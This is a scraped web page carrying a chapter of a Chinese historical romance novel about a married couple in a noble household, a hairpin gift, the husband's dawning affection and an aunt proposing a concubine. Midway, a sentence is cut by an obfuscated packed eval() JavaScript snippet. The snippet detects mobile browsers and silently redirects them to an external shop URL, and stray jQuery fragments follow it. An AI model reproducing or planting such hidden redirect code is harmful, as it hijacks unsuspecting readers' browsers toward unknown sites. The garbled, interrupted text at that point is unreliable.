文趣网 > 都市小说 > 尘缘误,相思赴 > 10. 第十章 动心
    “小姐,奴婢想不明白,既然您已经彻底放下沈公子了,为何不打扮的艳丽些,拢住姑爷的心……”栖棠看着宋清栀依旧穿着素色衣裙,带着白玉发簪,实在不理解小姐这么好看,为什么不好好打扮留住姑爷。

    宋清栀看着镜中的自己,透着一丝心死的淡淡说道,“若以色事他人,能得几时好。若得不到心,空留住人又有何用,他既心中有人,我便安分守己打理侯府家事,尽心侍奉公婆,安稳过完余生便是,也算是两厢安好了。”

    “好了,去看看晚膳如何了,一会公子该回来了。”

    “是,小姐。”栖棠应下,脸上还残留着忧伤与心疼。

    顾衍辞悄声站在门外,手指捏紧发簪,她……竟全看出来了。

    晚膳俩人依旧吃的很安静,顾衍辞心中一直在回响宋清栀的话,聪慧如她竟看穿了自己的伪装,知晓自己心中有人,短短几日,她就如此懂他,他也不知道如今对她是何态度想法,更不知为何今日得知她要去见旧人,竟那般失控的跟了上去。

    用过晚膳后,顾衍辞思虑再三,将袖中的锦盒拿了出来,放到宋清栀面前,随后刻意避开目光不去看她。

    “这是?”宋清栀愣了一下,未曾料到顾衍辞会给自己东西。

    “给你的,打开看看。”顾衍辞声音绷着,有些不自然的说道。

    宋清栀拿起锦盒,轻轻打开,一支蓝宝石簪子静静地躺在黑色的绒布上,藤蔓蜿蜒,细碎的蓝光像夜空中闪烁的星星,好看极了。

    “今日路过铺子顺手买的。”顾衍辞语气故作轻松。

    宋清栀怔怔的看着那支发簪愣在原地,不知如何是好。

    顾衍辞见宋清栀迟迟不动,上前将发簪取出,为其戴在发间。

    发簪上的蓝宝石在烛火下折射出细密的光芒,如同夜空一般散落在宋清栀白皙的颈肩,衬的她本就秀美的容颜更加动人。

    顾衍辞看着她的清绝侧颜,呼吸顿了一瞬,一个念头似是雨后春笋般冒了出来,吓了他一跳,他的手指还停留在她墨黑的发间,一时间不知如何是好。

    宋清栀疑惑怎么还没有戴好,抬头看向顾衍辞,俩人目光交织那一瞬间,顾衍辞的喉结上下滚了一下,忙移开目光。

    “好了。”顾衍辞猛的将手收回,若此时细看下会发现他的耳尖通红。

    “那个,那个,我突然想起云舟还找我有事,我出去一趟,你先睡,不用等我。”顾衍辞只觉大脑空白,也不知自己说了些什么,逃一样似得出了院子。

    徒留宋清栀留在原地,望向镜子,看着头上的蓝宝石发簪陷入沉思……

    月明楼。

    顾衍辞来到月明楼的时候,李云舟正独坐在雅间内喝酒,风流潇洒的贵公子难得身边竟没有美人作陪。

    李云舟看见顾衍辞到来的时候先是惊讶,随即眼神有一瞬极不自然。

    “你,你怎么来了?不是回家了吗?”李云舟语气有些发飘的问道,如同做了什么见不得人的事一样,只是,顾衍辞心里装着事,并未察觉。

    顾衍辞径直坐到李云舟对面,给自己倒了杯酒,一口喝了下去,然后顿了顿,犹豫再三,终是下定决心般的问向情场老手李云舟。

    “你说,若,若是见到一个人时心莫名跳的很快,呼吸不畅,便是动心吗?”

    李云舟听罢愣在原地,随后吐了一口气,像是卸下了一个重担,端起酒杯,敬向顾衍辞,语气不再飘忽,满满的真心。

    “恭喜,阴差阳错终觅得良缘。”

    顾衍辞心中的念头得到证实,也放松下来,端起酒杯,同李云舟一起喝了起来。

    酒过三巡,料定顾衍辞此时心情不错,李云舟终是没忍住,问出了压在心底很久的那个问题,“其实,我一直想问,你当初对她也是这般感觉吗?”

    顾衍辞握着酒杯的手一顿,看着杯中泛着涟漪的酒,没有说话。

    “我始终觉得,那时你还小,没什么朋友,侯爷又太过严厉,你会不会只是把她当作精神支柱,知己,邻家大姐姐,只不过她突然嫁人,没有同你说,你有些不能接受而已,而不是你心仪她。”李云舟将心里话一股脑的说了出来。

    顾衍辞闻言陷入沉思,这个问题,或许,他自己也从未想清楚过,良久,顾衍辞起身淡淡的说了句,“走了。”

    顾衍辞走远后,侍女月瑶走进雅间,为李云舟新添了一壶酒,“公子为何不同顾公子说云姑娘的事?”

    李云舟望着窗外,难得认真的说,“他如今好不容易遇上喜欢的人,别搅了他这份欢喜,待日后合适的时候再告诉他吧。”说完,将杯中酒一饮而尽。

    ……

    顾衍辞回到景和苑的时候宋清栀已经睡着了,他坐在床边看着宋清栀熟睡的容颜,心里一暖,嘴角微微上扬。

    动心,是从什么时候开始的呢,顾衍辞也不太清楚,也许是第一次见到她清丽容颜,也许是看到她聪慧周全的处理府中事物,又或许是发觉她竟看破自己的伪装……

    顾衍辞躺上床,将枕头向中间推了推,挨上宋清栀的枕,闭上眼睛,闻着她发间茉莉的清香,只觉分外心安,慢慢的睡熟了。

    这一夜,两人间的楚河汉界消失不见,那一层浅浅的隔膜被打破,两颗心渐渐贴近……

    第二日一早,宋清栀还未睁眼,便发觉玉腕下的温热,猛然睁眼,顾衍辞的俊美容颜便入眼帘,甚至能够感受到他的鼻息,她的手就搭在顾衍辞的手上,宋清栀的心像要跳出来,她轻手轻脚的起身,看到两个人的枕头紧紧的挨在一起,愣了一瞬,脸颊一抹绯红,轻轻的离开了。

    宋清栀洗漱完坐在妆镜前,栖棠为其妆发,宋清栀透过镜子看着床榻上的顾衍辞不知在想些什么。

    “小姐,小姐。”知夏慌张的跑了进来。

    “嘘,小声些,姑爷还没醒。”栖棠食指放在唇上小声的提醒着知夏。

    知夏忙用手捂住嘴巴,眼中透着焦急的看着宋清栀。宋清栀见床榻上的人影并无异样,示意知夏继续说。

    知夏小声说道:“小姐,刚刚夫人身边的翠微姐姐来说,二姑老太太来了,夫人让您去前厅叙话。”随后凑到宋清栀跟前,声音压的更低,“夫人让翠微姐姐同您说,这位二姑老太太是候老夫人一母同胞的亲妹妹,若是待会说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566217|204757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了什么不中听的闲话,叫您别理会。”

    宋清栀心下一暖,难得自己遇到一个这样好,真心拿自己当闺女看待的婆母。

    “快些收拾吧。”

    永宁侯府内院正厅。

    宋清栀来到正厅,就看见侯夫人端坐主位,神色温和的看着自己,上首客座坐着一位身穿锦缎袄裙、满头珠翠的老太太,眉眼间带着几分倨傲,正是二姑老太太宁玉秀,在她身后还站着一个容貌只能算的上清秀的姑娘。

    “见过母亲,见过姨老夫人。”宋清栀弯身行礼。

    二姑老太太目光径直落在宋清栀身上,上下打量一番,语气带着几分敲打:“这便是辞哥的新夫人,生的倒是标致,看着温温柔柔的,不过这行事倒是好大的威风。”

    宋清栀听闻心下一凛,明白这是冲自己来的。

    “我久居城外,近日才听闻府中动静,那刘婆子是昔日姐姐身边贴身伺候的旧人,跟着姐姐陪嫁来的,在侯府辛苦了大半辈子,纵然有错,也该念着往日情分从轻发落,怎的说撵就撵?新媳妇刚掌家,便这般不留情面,未免太过心硬,也失了宅子里的和气。”二姑老太太语气中带着不满,直指宋清栀处置刘妈一事,字字都是长辈训诫的口吻,摆明了要来压她一头。

    “此事栀儿先前同我说过,是我允准的,那刘婆子贪墨府中银钱已久,确实该整治整治了,况且栀儿这孩子念及府中老人的辛劳,将其送到庄上养老,又拨了丫鬟去伺候,实则是去享福去了。”侯夫人连忙从中打圆场,低声劝解几句。

    “胡说,庄子上和侯府可是能比的,我姐姐速来贤良,对下极好,没个不尊重她的,如今倒好,她人不在了,就随意处置她的下人,没得叫人说侯府苛待老仆。”奈何二姑老太太仗着亡姐情面,半点不肯松口。

    宋清栀见状,上前微微行礼,从容说到:“姨老夫人明鉴,媳妇这般行事,恰恰是为保全先祖母一世清名,那刘妈仗着是祖母旧仆,暗中私吞府中银钱、克扣份例,已然失了本分。如今及时惩治尚且为时不晚,倘若一味顾念旧情纵容姑息,来日她越发胆大妄为,借着先祖母情面与侯府名头在外横行,闯出滔天大祸,届时累及侯府声誉、污了祖母贤德名声,才真是追悔莫及。先祖母素来明理仁慈,最看重府中规矩家风,若泉下有知,也定会赞同媳妇做法的。”

    宋清栀此言有理有据,既说明了危害,又搬出已故老夫人的品性心性,让二姑老太太无从反驳,脸色有些难看,只见二姑老太太端起茶杯抿了一口,随后脸上添了几分笑意,继续说了起来。

    “我今日前来为了一事,”就见二姑老太太将身后站着的姑娘拉了出来,“说来也是一桩美事,这是我娘家侄女儿,叫美莲,算起来也是辞哥表妹,品性温婉,容貌清秀,如今年岁正好,性情也柔顺安分。”

    她看向侯夫人,语气带着不容推辞的意味:“侯爷常年驻守边关,府中只你和他们夫妇二人,难免冷清,清栀丫头一人打理家事难免孤寂,不如便将这孩子接入府中,纳为侍妾,一来能帮衬府里琐事,二来也能帮忙留住辞哥,尽早为侯府开枝散叶,全当是我这个做长辈的一番心意。”